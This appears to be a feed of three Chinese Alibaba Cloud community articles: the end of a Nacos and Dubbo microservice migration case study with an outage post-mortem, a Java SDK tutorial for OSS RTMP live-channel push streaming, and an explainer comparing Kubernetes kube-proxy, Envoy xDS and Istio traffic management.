        • 迭代速度加快:新商户中心大部分功能,能够通过旧商户中心进行修改兼容,为后续的业务中台的抽象打好基础;
        • 性能优化:业务开发的同时,我们对旧商户中心的老代码进行优化,性能和稳定性均有所提高。 

        但服务化 1.0 改造后,还是有一些挑战没有解决:

        • 发布周期依旧不够快:大部分代码还是在就商户中心,业务迭代依然牵一发而动全身;
        • 协同效率没有提高:在代码冲突多,沟通成本高的同时,又出现了令开发同学头痛的新老业务的兼容问题;
        • 维护成本:Consul 是 Go 语言开发的,不易维护;Spring Cloud 在开发过程中体验不佳,在写业务的同时,还要摸索 Spring Cloud 的最佳实践,花费了一些时间去做 Spring Cloud 的基础建设。

        于是我们决定开启,服务化 2.0 的改造。
        服务化改造 2.0 的预期效果:
        6.png

        • 完成业务中台的初步建设,将模块重新划分,抽象为独立服务;
        • 新、旧商户中心服务仅做自己的业务兼容,并对外暴露接口;
        • 新增专门支持 H5、小程序 的 C 端 WEB 服务。 因 Spring Cloud 体验不佳,我们决定服务化改造 2.0 尝试使用 Dubbo 作为基础服务的 RPC 远程调用框架,因此我们要对注册中心进行选型。 

        首先,注册中心我认为应该具备的基本功能 :

        • 服务注册及时被发现,异常时的及时下线;
        • 服务管理,能够手动恢复/剔除服务;
        • 健康检查,检测服务是否可用;
        • 元数据管理;
        • 注册中心保证自身的高可用。

        7.png

        Zookeeper :

        • 不能保证每次服务请求都是可达的,当 zk 集群 master 挂掉时,需要进行选举,在选举期间中,服务是不可用的;
        • 不支持跨机房的路由,比如 eureka 的 zone,当前机房不可用时,可以路由到其他机房;
        • “惊群效应”, zk 的节点过多的时候,当 service 的节点发生变更,会同时通知到客户端,瞬时流量有可能将网卡瞬间打满,并且会有重复通知的问题。

        Nacos :

        • 注册中心部分更侧重于可用性
        • 服务发现与服务管理
        • 服务元数据的管理
        • 动态配置管理

        8.png

        在此期间,我们也关注到了 Spring Cloud Alibaba。阿里巴巴技术经受多年“双十一”的考验,其性能和稳定性是值得信任的。Spring Cloud Alibaba 的组件开源社区活跃度很高,并且比起国外开源项目更容易交流。其组件由 Java 语言开发,对我们来说更易维护,在出现问题时能够更快地定位问题进行修复。而且与阿里云配合,更加容易上云,比如 Nacos 可以与阿里云的 MSE 和 ACM 配合,将注册中心及配置管理全部上云。 9.png

        因此,我们决定拥抱阿里技术栈。 

        服务化改造2.0架构图:

        10.png

        我们将之前的模块直接抽到基础服务之中,新增了 会员、订单、门店 等服务作为Provider,暴露自己的Service,并注册到 Nacos 上。新商户中心服务做美业业务逻辑的处理,旧商户中心服务做泛行业的业务处理,C端服务同理对外提供服务。通过 Dubbo 进行远程调用。 

        通过服务化 2.0 的改造,效果如下:

        • 服务器成本降低30%:20+台服务器,由4核16G 降配到2核8G;
        • 系统可靠性提升80%:load 告警明显减少,线上的问题修正能够快速修复,完成部署;
        • 代码冲突减少75%:因为边界有了基本各自维护,冲突显著减少;
        • 发布迭代效率提升50%:之前5个人每个迭代开发评估可完成30个点,现在可完成45个点左右。

        Nacos 落地实践与问题分析

        Nacos 在我们公司处理做注册中心之外,配置管理也对我们提供了很好的服务。下面说一下,Nacos 我们的使用情况,以及我们遇到的问题。 

        首先是使用情况:

        • 部署方式:开发/测试环境单机部署,生产环境 3 台集群部署;
        • 版本:生产环境从 0.9.0 开始使用,目前生产环境使用的版本为 1.1.4 ;
        • 使用时间:2019 年 3 月份开始在生产环境下使用;
        • 服务数量:线上 20+ 台服务器,提供了 600+ 个服务;
        • 稳定性:一年的时间里没有出现大的问题,并且平滑升级;
        • 兼容性:新老服务,在我们公司无论是 Spring 4.3+ 的工程,还是 Spring Boot 的工程均兼容良好。 

        Nacos 注册中心:

        11.png

        • 服务注册:将后端服务注册到 Nacos,通过 Dubbo 进行调用。目前开发环境中我们正在测试Seata,并且也将 Seata 服务注册到 Nacos 上;
        • Namespace:服务统一注册到 public 中。 

        Nacos 配置管理:

        12.png

        每个服务设置独立的 Namespace 。 

        • 服务的配置文件信息:application.properties 全部配置到 Nacos,工程的配置文件仅保留 Nacos 相关配置;
        • 业务层的 KV 配置:比如业务开关,属性默认值,定时任务配置等;
        • MQ Topic 的动态配置:Binlog 服务采集动态发送到在 Nacos 配置的 topic 及其需要的表信息;
        • Sentinel 的规则配置:Sentinel 限流规则持久化到 Nacos 。

        问题描述:

        13.png

        2019 年 12 月 31 日,下午 3 点 15 分左右,线上突然出现大量服务告警,Dubbo 服务出现报错,整个过程持续约 3 多分钟。各个业务组当天均没有任何发布,数据库状态也良好。

        通过日志发现,报错原因是门店服务无法调用。而门店服务日志,出现问题的时间段内,没有任何的调用记录。系统恢复正常时,出现了很多服务注册的通知。

        因此,我们将问题瞄准了 Nacos。查看 Nacos 的日志发现,在系统恢复过程中,有大量的服务正在上线。

         就在排查的过程中,线上突然又出现了之前相同的告警,Nacos 上的服务列表开始大量变成不健康的状态,于是我们紧急重启了线上的 Nacos ,在这期间又经历了一个 3 分多钟的惊魂后,再次恢复了平静。 

        问题分析:

        • 两次出现的问题均是门店服务,但出现问题期间 JVM 和数据库的运行状态均良好;
        • 报错信息都是 Dubbo 调用超时,且出现问题期间,门店服务没有任何流量进入;
        • 出现问题时,注册在 Nacos 上的服务开始大量不健康。恢复正常时,这些服务又开始上线,说明出现问题时,服务被下线又重新上线。

         综上,我们开始怀疑是网络原因造成的。

         问题确认:

        14.png

        经过排查,发现我们的服务大多部署在 阿里云华东 1 可用区 B ,只有门店服务和 Nacos 集群没有部署在可用区 B ,说明这段时间可用区 B 与其他区之间的发生了网络隔离。

        于是,我们在可用区 B 紧急部署了门店服务,之后没有再出现问题。

        经过与阿里云的沟通确认于北京时间 2019 年 12 月 31 日 14:05 分左右开始,部分用户反馈阿里云华东 1 地域可用区 B 部分网络出现异常,影响部分云资源访问。

         问题复盘:

        • 问题出现:下午 3 点多,突然连续出现的服务告警, Dubbo 服务出现报错;
        • Nacos:Nacos 服务列表里大量服务出现不健康的状态;
        • 网络不通:可用区 B 与其它区网络不通,导致服务无法调用;
        • 紧急部署:在 B 区部署缺失的 门店服务;
        • 恢复正常。

         问题思考:

        • 服务部署:应用服务和Nacos建议多机房部署,即使在云上可用区之间也需要考虑;
        • 容灾:问题出现时,可用区 B 并没有部署 Nacos,但可用区B内的服务之间依然能调通,且能够读到 Nacos 上的配置。因此,我们认为 Nacos 以及 Dubbo 的容灾策略都是值得信赖的。 

        回顾与展望:

        15.png

        “颜铺专家”经过不断地快速迭代,帮助美业商家⾼效快捷地管理门店,进行经营数据分析,数据化管理门店,建⽴完善的会员周期管理体系,为美业商家在经营管理中,提供⼀体化的解决方案,将美业传统的门店经营模式进⾏互联网升级。截止到目前我们累计服务 3000 多个品牌,1.1W + 个⻔店。我们提供了店务管理系统、会员管理系统、营销拓客系统、大数据决策系统、供应链管理系统、员工绩效管理系统6⼤系统能力,同时⽀持 PC 端、手机 APP 、 pos 机、 iPad 操作,满⾜⻔店多端操作需求,覆盖⻔店经营管理中的所有场景需求。

        未来规划

        提升系统高可用

        • Seata :目前我们公司的分布式事务主要依赖 MQ 的补偿,今年准备引入 Seata 来完善分布式事务,保证数据一致性,减少开发修数据的情况;
        • Sentinel :目前 Sentinel 我们只是在商户做活动时启用,因此我们要配置出适用于我们公司的最佳实践,保证系统的高可用;
        • 全链路跟踪:我们公司现在定位问题主要靠日志和告警,做不到全链路的跟踪,所以我们要把这部分做好,做到故障快速定位,各调用环节性能分析,以及数据分析;
        • 异地容灾:随着来自全国各省的商户越来越多,我们需要对商户的数据保障,避免数据丢失,确保服务的可靠性。 

        社区回馈

        16.png

        因为我们的公司体量现在不大,我们能够做到的是尽可能地使用最新的版本,及时尝试新特性,对发现的问题提 issues,但我们也希望能够对 Nacos 开源社区尽一份我们的力量。

        作者信息:殷铭,颜铺科技架构师,负责颜铺 SAAS 平台中间件的应用和实践,主导了平台架构在颜铺向分布式演进的全过程,目前也负责大数据在颜铺平台的实践和落地。

        17.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

        ]]>
        【OSS 排查方案-4】OSS + RTMP 推流的 JAVA 方法-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:张医博

        背景

        目前有很多直播爱好者使用的是 OSS + RTMP 做的推流直播,其中不乏一些企业级别应用,由于 OSS 作为推流的接收略微有一些复杂,故单独开篇讲一下。其实不建议使用 OSS+RTMP 做直播推流,因为功能性相比专业的阿里云直播几乎为 0 ,而且性能上并不好。建议大家使用单独的直播服务。

        首先

        看下官网对于 OSS 推流的过程定义

        • 只能使用RTMP推流的方式,不支持拉流。
        • 必须包含视频流,且视频流格式为H264。
        • 音频流是可选的,并且只支持AAC格式,其他格式的音频流会被丢弃。
        • 转储只支持HLS协议。
        • 一个LiveChannel同时只能有一个客户端向其推流。

        RTMP 的推流格式:

        rtmp://your-bucket.oss-cn-hangzhou.aliyuncs.com/live/test-channel

        • live 等同于 RTMP 的 APP 挂载点
        • test-channel 等同于 RTMP 的 stream name

        RTMP URL 推流签名:

        • rtmp://${bucket}.${host}/live/${channel}?OSSAccessKeyId=xxx&Expires=yyy&Signature=zzz&${params}
        • 推流前 LiveChannel有两种Status:enabled和disabled,用户可以使用本接口在两种Status之间进行切换。处于disabled状态时,OSS会禁止用户向该LiveChannel进行推流操作;如果有用户正在向该LiveChannel推流,那么推流的客户端会被强制断开(可能会有10s左右的延迟)

        我们现在用 java 的 SDK 演示一下如上的推理过程,在跑 SDK 之前,需要先搭建好一套本地的 eclipse 环境,如下是我用的 eclipse,如果有没搭建请网上搜索一下 eclpse 的搭建方式(之前需要安装 JDK 且配置环境变量)

        • Eclipse 版本:Version: Neon.3 Release (4.6.3)
        • JDK 版本:jdk1.8.0_144
        • OSS:公开读(为了验证推流功能是否正常,我们用公开读的方式快速测试)

        我们采用主函数入口的方式,实例化其他类进行调用,这样方便类的拆分,不用都集合在主函数中。
        主函数 domain,实例化 OSSClient 对象传入到 RtmpTest 类中测试。

        所有的 jar 都会通过官方的 maven 解决的依赖关系,https://help.aliyun.com/document_detail/32009.html?spm=5176.doc32008.6.672.HR4Dbr

        package javasdk;
        
        import java.io.FileNotFoundException;
        import java.text.ParseException;
        import java.util.HashMap;
        import java.util.Map;
        
        import com.aliyun.oss.OSSClient;
        
        public class domain {
            public static void main( String[] args ) throws ParseException, FileNotFoundException
            {
                
                System.out.println( "Hello World!" );
                String accessid = "AK";
                String secretkey = "SK";
                String objectpath = "C://Users//hanli.zyb//Desktop//running.png";
                String bucket = "bucket";
                String object = "running";
                String endpoint = "http://oss-cn-hangzhou.aliyuncs.com";
        
                
                // OSS + rtmp 推流
                String bucketName = "ali-hangzhou";
                RtmpTest pushoss = new RtmpTest();
                OSSClient ossClient = new OSSClient(endpoint, AK, SK);
                pushoss.testCreateLiveChannel(bucketName,ossClient);
        
            }
        }
        ​

        RtmpTest

        /*
         * Licensed to the Apache Software Foundation (ASF) under one
         * or more contributor license agreements.  See the NOTICE file
         * distributed with this work for additional information
         * regarding copyright ownership.  The ASF licenses this file
         * to you under the Apache License, Version 2.0 (the
         * "License"); you may not use this file except in compliance
         * with the License.  You may obtain a copy of the License at
         *
         *     http://www.apache.org/licenses/LICENSE-2.0
         *
         * Unless required by applicable law or agreed to in writing,
         * software distributed under the License is distributed on an
         * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
         * KIND, either express or implied.  See the License for the
         * specific language governing permissions and limitations
         * under the License.
         */
        
        package javasdk;
        
        import java.text.ParseException;
        import java.util.Date;
        import java.util.List;
        import junit.framework.Assert;
        
        import org.junit.Ignore;
        import org.junit.Test;
        
        import com.aliyun.oss.OSSClient;
        import com.aliyun.oss.OSSErrorCode;
        import com.aliyun.oss.OSSException;
        import com.aliyun.oss.common.utils.DateUtil;
        import com.aliyun.oss.model.CannedAccessControlList;
        import com.aliyun.oss.model.CreateLiveChannelRequest;
        import com.aliyun.oss.model.CreateLiveChannelResult;
        import com.aliyun.oss.model.ListLiveChannelsRequest;
        import com.aliyun.oss.model.LiveChannel;
        import com.aliyun.oss.model.LiveChannelInfo;
        import com.aliyun.oss.model.LiveChannelListing;
        import com.aliyun.oss.model.LiveChannelStat;
        import com.aliyun.oss.model.LiveChannelStatus;
        import com.aliyun.oss.model.LiveChannelTarget;
        import com.aliyun.oss.model.LiveRecord;
        import com.aliyun.oss.model.PushflowStatus;
        import com.aliyuncs.DefaultAcsClient;
        import com.aliyuncs.profile.DefaultProfile;
        import com.aliyuncs.profile.IClientProfile;
        
        /**
         * Test rtmp
         */
        public class RtmpTest  {
            String bucketName = "bucket";
            final String liveChannel = "stream name";
            @Test
            public void testCreateLiveChannelDefault(String bucketname,OSSClient ossClient) {
        
                try {
                    CreateLiveChannelRequest createLiveChannelRequest = new CreateLiveChannelRequest(
                            bucketName, liveChannel);
                    CreateLiveChannelResult createLiveChannelResult = ossClient.createLiveChannel(createLiveChannelRequest);
                    LiveChannelInfo liveChannelInfo = ossClient.getLiveChannelInfo(bucketName, liveChannel);
        
                    
                    ossClient.deleteLiveChannel(bucketName, liveChannel);
                } catch (Exception e) {
                    Assert.fail(e.getMessage());
                }
            }
            
            @Test
            public void testCreateLiveChannel(String bucketname,OSSClient ossClient) {
                final String liveChannel = "normal-create-live-channel";
                final String liveChannelDesc = "my test live channel";
        
                try {
                    LiveChannelTarget target = new LiveChannelTarget("HLS", 100, 99, "myplaylist.m3u8");
                    CreateLiveChannelRequest createLiveChannelRequest = new CreateLiveChannelRequest(
                            bucketName, liveChannel, liveChannelDesc, LiveChannelStatus.Enabled, target);
                    
                    CreateLiveChannelResult createLiveChannelResult = ossClient.createLiveChannel(createLiveChannelRequest);
                    System.out.println(createLiveChannelResult.getPublishUrls());
                    /*Assert.assertEquals(createLiveChannelResult.getPublishUrls().size(), 1);
                    Assert.assertTrue(createLiveChannelResult.getPublishUrls().get(0).startsWith("rtmp://"));
                    Assert.assertTrue(createLiveChannelResult.getPublishUrls().get(0).endsWith("live/" + liveChannel));
                    Assert.assertEquals(createLiveChannelResult.getPlayUrls().size(), 1);
                    Assert.assertTrue(createLiveChannelResult.getPlayUrls().get(0).startsWith("http://"));
                    Assert.assertTrue(createLiveChannelResult.getPlayUrls().get(0).endsWith(liveChannel + "/myplaylist.m3u8"));*/
                    
                   /* LiveChannelInfo liveChannelInfo = ossClient.getLiveChannelInfo(bucketName, liveChannel);
                    Assert.assertEquals(liveChannelInfo.getDescription(), liveChannelDesc);
                    Assert.assertEquals(liveChannelInfo.getStatus(), LiveChannelStatus.Disabled);
                    Assert.assertEquals(liveChannelInfo.getTarget().getType(), "HLS");
                    Assert.assertEquals(liveChannelInfo.getTarget().getFragDuration(), 100);
                    Assert.assertEquals(liveChannelInfo.getTarget().getFragCount(), 99);
                    Assert.assertEquals(liveChannelInfo.getTarget().getPlaylistName(), "myplaylist.m3u8");*/
                    
                    
                   // ossClient.deleteLiveChannel(bucketName, liveChannel);
                } catch (Exception e) {
                    Assert.fail(e.getMessage());
                }
            }
        }
        

        其中我们最关注的是 testCreateLiveChannel 类,创建了推流地址,其中参数 LiveChannelStatus.enable 是要让推流变为可用状态。

        public void testCreateLiveChannel(String bucketname,OSSClient ossClient) {
                final String liveChannel = "normal-create-live-channel";
                final String liveChannelDesc = "my test live channel";
        
                try {
                    LiveChannelTarget target = new LiveChannelTarget("HLS", 100, 99, "myplaylist.m3u8");
                    CreateLiveChannelRequest createLiveChannelRequest = new CreateLiveChannelRequest(
                            bucketName, liveChannel, liveChannelDesc, LiveChannelStatus.Enabled, target);
                    
                    CreateLiveChannelResult createLiveChannelResult = ossClient.createLiveChannel(createLiveChannelRequest);
                    System.out.println(createLiveChannelResult.getPublishUrls());
                    /*Assert.assertEquals(createLiveChannelResult.getPublishUrls().size(), 1);
                    Assert.assertTrue(createLiveChannelResult.getPublishUrls().get(0).startsWith("rtmp://"));
                    Assert.assertTrue(createLiveChannelResult.getPublishUrls().get(0).endsWith("live/" + liveChannel));
                    Assert.assertEquals(createLiveChannelResult.getPlayUrls().size(), 1);
                    Assert.assertTrue(createLiveChannelResult.getPlayUrls().get(0).startsWith("http://"));
                    Assert.assertTrue(createLiveChannelResult.getPlayUrls().get(0).endsWith(liveChannel + "/myplaylist.m3u8"));*/
                    
                    
                   // ossClient.deleteLiveChannel(bucketName, liveChannel);
                } catch (Exception e) {
                    Assert.fail(e.getMessage());
                }
            }​
        

        running 主函数,打印出推流地址。
        rtmp://hangzhou.oss-cn-hangzhou.aliyuncs.com/live/normal-create-live-channel
        请网友们自己亲自搭建环境动手实际测试,有问题可随时留言帖子。

        ]]>
        Service Mesh——后 Kubernetes 时代的微服务-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文是以前所写内容的重新修订并收录于 ServiceMesher 社区的 Istio Handbook 中,其他章节仍在编纂中。

        刚听说 Service Mesh 并试用过 Istio 的人可能都会有下面几个疑问:

        1. 为什么 Istio 要绑定 Kubernetes 呢?
        2. Kubernetes 和 Service Mesh 分别在云原生中扮演什么角色?
        3. Istio 扩展了 Kubernetes 的哪些方面?解决了哪些问题?
        4. Kubernetes、xDS 协议(EnvoyMOSN 等)与 Istio 之间又是什么关系?
        5. 到底该不该上 Service Mesh?

        这一节我们将试图带您梳理清楚 Kubernetes、xDS 协议以及 Istio Service Mesh 之间的内在联系。此外,本节还将介绍 Kubernetes 中的负载均衡方式,xDS 协议对于 Service Mesh 的意义以及为什么说及时有了 Kubernetes 还需要 Istio。

        使用 Service Mesh 并不是说与 Kubernetes 决裂,而是水到渠成的事情。Kubernetes 的本质是通过声明式配置对应用进行生命周期管理,而 Service Mesh 的本质是提供应用间的流量和安全性管理以及可观察性。假如你已经使用 Kubernetes 构建了稳定的微服务平台,那么如何设置服务间调用的负载均衡和流量控制?

        Envoy 创造的 xDS 协议被众多开源软件所支持,如 IstioLinkerdMOSN 等。Envoy 对于 Service Mesh 或云原生来说最大的贡献就是定义了 xDS,Envoy 本质上是一个 proxy,是可通过 API 配置的现代版 proxy,基于它衍生出来很多不同的使用场景,如 API Gateway、Service Mesh 中的 Sidecar proxy 和边缘代理。

        本节包含以下内容

        • 说明 kube-proxy 的作用。
        • Kubernetes 在微服务管理上的局限性。
        • 介绍 Istio Service Mesh 的功能。
        • 介绍 xDS 包含哪些内容。
        • 比较 Kubernetes、Envoy 和 Istio Service Mesh 中的一些概念。

        重要观点

        如果你想要提前了解下文的所有内容,那么可以先阅读下面列出的本文中的一些主要观点:

        • Kubernetes 的本质是应用的生命周期管理,具体来说就是部署和管理(扩缩容、自动恢复、发布)。
        • Kubernetes 为微服务提供了可扩展、高弹性的部署和管理平台。
        • Service Mesh 的基础是透明代理,通过 sidecar proxy 拦截到微服务间流量后再通过控制平面配置管理微服务的行为。
        • Service Mesh 将流量管理从 Kubernetes 中解耦,Service Mesh 内部的流量无需 kube-proxy 组件的支持,通过为更接近微服务应用层的抽象,管理服务间的流量、安全性和可观察性。
        • xDS 定义了 Service Mesh 配置的协议标准。
        • Service Mesh 是对 Kubernetes 中的 service 更上层的抽象,它的下一步是 serverless。

        Kubernetes vs Service Mesh

        下图展示的是 Kubernetes 与 Service Mesh 中的的服务访问关系(每个 pod 一个 sidecar 的模式)。

        kubernetes 对比 service mesh

        流量转发

        Kubernetes 集群的每个节点都部署了一个 kube-proxy 组件,该组件会与 Kubernetes API Server 通信,获取集群中的 service 信息,然后设置 iptables 规则,直接将对某个 service 的请求发送到对应的 Endpoint(属于同一组 service 的 pod)上。

        服务发现

        Service Mesh 中的服务注册

        Istio Service Mesh 可以沿用了 Kubernetes 中的 service 做服务注册,还可以通过控制平面的平台适配器对接其他服务发现系统,然后生成数据平面的配置(使用 CRD 声明,保存在 etcd 中),数据平面的透明代理(transparent proxy)以 sidecar 容器的形式部署在每个应用服务的 pod 中,这些 proxy 都需要请求控制平面来同步代理配置。之所以说是透明代理,是因为应用程序容器完全无感知代理的存在,该过程 kube-proxy 组件一样需要拦截流量,只不过 kube-proxy 拦截的是进出 Kubernetes 节点的流量,而 sidecar proxy 拦截的是进出该 Pod 的流量,详见理解 Istio Service Mesh 中 Envoy Sidecar 代理的路由转发

        Service Mesh 的劣势

        因为 Kubernetes 每个节点上都会运行众多的 Pod,将原先 kube-proxy 方式的路由转发功能置于每个 pod 中,将导致大量的配置分发、同步和最终一致性问题。为了细粒度地进行流量管理,必将添加一系列新的抽象,从而会进一步增加用户的学习成本,但随着技术的普及,这样的情况会慢慢地得到缓解。

        Service Mesh 的优势

        kube-proxy 的设置都是全局生效的,无法对每个服务做细粒度的控制,而 Service Mesh 通过 sidecar proxy 的方式将 Kubernetes 中对流量的控制从 service 一层抽离出来,可以做更多的扩展。

        kube-proxy 组件

        在 Kubernetes 集群中,每个 Node 运行一个 kube-proxy 进程。kube-proxy 负责为 Service 实现了一种 VIP(虚拟 IP)的形式。 在 Kubernetes v1.0 版本,代理完全在 userspace 实现。Kubernetes v1.1 版本新增了 iptables 代理模式,但并不是默认的运行模式。从 Kubernetes v1.2 起,默认使用 iptables 代理。在 Kubernetes v1.8.0-beta.0 中,添加了 ipvs 代理模式。关于 kube-proxy 组件的更多介绍请参考 kubernetes 简介:service 和 kube-proxy 原理使用 IPVS 实现 Kubernetes 入口流量负载均衡

        kube-proxy 的缺陷

        kube-proxy 的不足之处

        首先,如果转发的 pod 不能正常提供服务,它不会自动尝试另一个 pod,当然这个可以通过 liveness probes 来解决。每个 pod 都有一个健康检查的机制,当有 pod 健康状况有问题时,kube-proxy 会删除对应的转发规则。另外,nodePort 类型的服务也无法添加 TLS 或者更复杂的报文路由机制。

        Kube-proxy 实现了流量在 Kubernetes service 多个 pod 实例间的负载均衡,但是如何对这些 service 间的流量做细粒度的控制,比如按照百分比划分流量到不同的应用版本(这些应用都属于同一个 service,但位于不同的 deployment 上),做金丝雀发布(灰度发布)和蓝绿发布?Kubernetes 社区给出了 使用 Deployment 做金丝雀发布的方法,该方法本质上就是通过修改 pod 的 label 来将不同的 pod 划归到 Deployment 的 Service 上。

        Kubernetes Ingress vs Istio Gateway

        上文说到 kube-proxy 只能路由 Kubernetes 集群内部的流量,而我们知道 Kubernetes 集群的 Pod 位于 CNI 创建的外网络中,集群外部是无法直接与其通信的,因此 Kubernetes 中创建了 ingress 这个资源对象,它由位于 Kubernetes 边缘节点(这样的节点可以是很多个也可以是一组)的 Ingress controller 驱动,负责管理南北向流量,Ingress 必须对接各种 Ingress Controller 才能使用,比如 nginx ingress controllertraefik。Ingress 只适用于 HTTP 流量,使用方式也很简单,只能对 service、port、HTTP 路径等有限字段匹配来路由流量,这导致它无法路由如 MySQL、Redis 和各种私有 RPC 等 TCP 流量。要想直接路由南北向的流量,只能使用 Service 的 LoadBalancer 或 NodePort,前者需要云厂商支持,后者需要进行额外的端口管理。有些 Ingress controller 支持暴露 TCP 和 UDP 服务,但是只能使用 Service 来暴露,Ingress 本身是不支持的,例如 nginx ingress controller,服务暴露的端口是通过创建 ConfigMap 的方式来配置的。

        Istio Gateway 的功能与 Kubernetes Ingress 类似,都是负责集群的南北向流量。Istio Gateway 描述的负载均衡器用于承载进出网格边缘的连接。该规范中描述了一系列开放端口和这些端口所使用的协议、负载均衡的 SNI 配置等内容。Gateway 是一种 CRD 扩展,它同时复用了 sidecar proxy 的能力,详细配置请参考 Istio 官网

        xDS 协议

        下面这张图大家在了解 Service Mesh 的时候可能都看到过,每个方块代表一个服务的实例,例如 Kubernetes 中的一个 Pod(其中包含了 sidecar proxy),xDS 协议控制了 Istio Service Mesh 中所有流量的具体行为,即将下图中的方块链接到了一起。

        Service Mesh 示意图

        xDS 协议是由 Envoy 提出的,在 Envoy v2 版本 API 中最原始的 xDS 协议指的是 CDS(Cluster Discovery Service)、EDS(Endpoint Discovery service)、LDS(Listener Discovery Service) 和 RDS(Route Discovery Service),后来在 v3 版本中又发展出了 Scoped Route Discovery Service(SRDS)、Virtual Host Discovery Service (VHDS)、Secret Discovery Service(SDS)、Runtime Discovery Service(RTDS)详见 xDS REST and gRPC protocol

        下面我们以各有两个实例的 service,来看下 xDS 协议。

        xDS 协议

        上图中的箭头不是流量进入 Proxy 后的路径或路由,也不是实际顺序,而是想象的一种 xDS 接口处理顺序,其实 xDS 之间也是有交叉引用的。

        支持 xDS 协议的代理通过查询文件或管理服务器来动态发现资源。概括地讲,对应的发现服务及其相应的 API 被称作 xDS。Envoy 通过订阅(subscription)方式来获取资源,订阅方式有以下三种:

        • 文件订阅:监控指定路径下的文件,发现动态资源的最简单方式就是将其保存于文件,并将路径配置在 ConfigSource 中的 path 参数中。
        • gRPC 流式订阅:每个 xDS API 可以单独配置 ApiConfigSource,指向对应的上游管理服务器的集群地址。
        • 轮询 REST-JSON 轮询订阅:单个 xDS API 可对 REST 端点进行的同步(长)轮询。

        以上的 xDS 订阅方式详情请参考 xDS 协议解析。Istio 使用 gRPC 流式订阅的方式配置所有的数据平面的 sidecar proxy。

        文章中介绍了 Istio pilot 的总体架构、proxy 配置的生成、pilot-discovery 模块的功能,以及 xDS 协议中的 CDS、EDS 及 ADS,关于 ADS 详情请参考 Envoy 官方文档

        xDS 协议要点

        最后总结下关于 xDS 协议的要点:

        • CDS、EDS、LDS、RDS 是最基础的 xDS 协议,它们可以分别独立更新。
        • 所有的发现服务(Discovery Service)可以连接不同的 Management Server,也就是说管理 xDS 的服务器可以是多个。
        • Envoy 在原始 xDS 协议的基础上进行了一些列扩充,增加了 SDS(秘钥发现服务)、ADS(聚合发现服务)、HDS(健康发现服务)、MS(Metric 服务)、RLS(速率限制服务)等 API。
        • 为了保证数据一致性,若直接使用 xDS 原始 API 的话,需要保证这样的顺序更新:CDS –> EDS –> LDS –> RDS,这是遵循电子工程中的先合后断(Make-Before-Break)原则,即在断开原来的连接之前先建立好新的连接,应用在路由里就是为了防止设置了新的路由规则的时候却无法发现上游集群而导致流量被丢弃的情况,类似于电路里的断路。
        • CDS 设置 Service Mesh 中有哪些服务。
        • EDS 设置哪些实例(Endpoint)属于这些服务(Cluster)。
        • LDS 设置实例上监听的端口以配置路由。
        • RDS 最终服务间的路由关系,应该保证最后更新 RDS。

        Envoy

        Envoy 是 Istio Service Mesh 中默认的 Sidecar,Istio 在 Enovy 的基础上按照 Envoy 的 xDS 协议扩展了其控制平面,在讲到 Envoy xDS 协议之前我们还需要先熟悉下 Envoy 的基本术语。下面列举了 Envoy 里的基本术语及其数据结构解析,关于 Envoy 的详细介绍请参考 Envoy 官方文档,至于 Envoy 在 Service Mesh(不仅限于 Istio) 中是如何作为转发代理工作的请参考网易云刘超的这篇深入解读 Service Mesh 背后的技术细节 以及理解 Istio Service Mesh 中 Envoy 代理 Sidecar 注入及流量劫持,本文引用其中的一些观点,详细内容不再赘述。

        Envoy proxy 架构图

        基本术语

        下面是您应该了解的 Enovy 里的基本术语:

        • Downstream(下游):下游主机连接到 Envoy,发送请求并接收响应,即发送请求的主机。
        • Upstream(上游):上游主机接收来自 Envoy 的连接和请求,并返回响应,即接受请求的主机。
        • Listener(监听器):监听器是命名网地址(例如,端口、unix domain socket 等),下游客户端可以连接这些监听器。Envoy 暴露一个或者多个监听器给下游主机连接。
        • Cluster(集群):集群是指 Envoy 连接的一组逻辑相同的上游主机。Envoy 通过服务发现来发现集群的成员。可以选择通过主动健康检查来确定集群成员的健康状态。Envoy 通过负载均衡策略决定将请求路由到集群的哪个成员。

        Envoy 中可以设置多个 Listener,每个 Listener 中又可以设置 filter chain(过滤器链表),而且过滤器是可扩展的,这样就可以更方便我们操作流量的行为,例如设置加密、私有 RPC 等。

        xDS 协议是由 Envoy 提出的,现在是 Istio 中默认的 sidecar proxy,但只要实现 xDS 协议理论上都是可以作为 Istio 中的 sidecar proxy 的,例如蚂蚁金服开源的 MOSN

        Istio Service Mesh

        Istio service mesh 架构图

        Istio 是一个功能十分丰富的 Service Mesh,它包括如下功能:

        • 流量管理:这是 Istio 的最基本的功能。
        • 策略控制:通过 Mixer 组件和各种适配器来实现,实现访问控制系统、遥测捕获、配额管理和计费等。
        • 可观测性:通过 Mixer 来实现。
        • 安全认证:Citadel 组件做密钥和证书管理。

        Istio 中的流量管理

        Istio 中定义了如下的 CRD 来帮助用户进行流量管理:

        • GatewayGateway 描述了在网络边缘运行的负载均衡器,用于接收传入或传出的HTTP / TCP连接。
        • VirtualServiceVirtualService 实际上将 Kubernetes 服务连接到 Istio Gateway。它还可以执行更多操作,例如定义一组流量路由规则,以便在主机被寻址时应用。
        • DestinationRuleDestinationRule 所定义的策略,决定了经过路由处理之后的流量的访问策略。简单的说就是定义流量如何路由。这些策略中可以定义负载均衡配置、连接池尺寸以及外部检测(用于在负载均衡池中对不健康主机进行识别和驱逐)配置。
        • EnvoyFilterEnvoyFilter 对象描述了针对代理服务的过滤器,这些过滤器可以定制由 Istio Pilot 生成的代理配置。这个配置初级用户一般很少用到。
        • ServiceEntry:默认情况下 Istio Service Mesh 中的服务是无法发现 Mesh 外的服务的,ServiceEntry 能够在 Istio 内部的服务注册表中加入额外的条目,从而让网格中自动发现的服务能够访问和路由到这些手工加入的服务。

        Kubernetes vs xDS vs Istio

        在阅读完上文对 Kubernetes 的 kube-proxy 组件、xDS 和 Istio 中流量管理的抽象概念之后,下面将带您仅就流量管理方面比较下三者对应的组件/协议(注意,三者不可以完全等同)。

        Kubernetes xDS Istio Service Mesh
        Endpoint Endpoint -
        Service Route VirtualService
        kube-proxy Route DestinationRule
        kube-proxy Listener EnvoyFilter
        Ingress Listener Gateway
        Service Cluster ServiceEntry

        总结

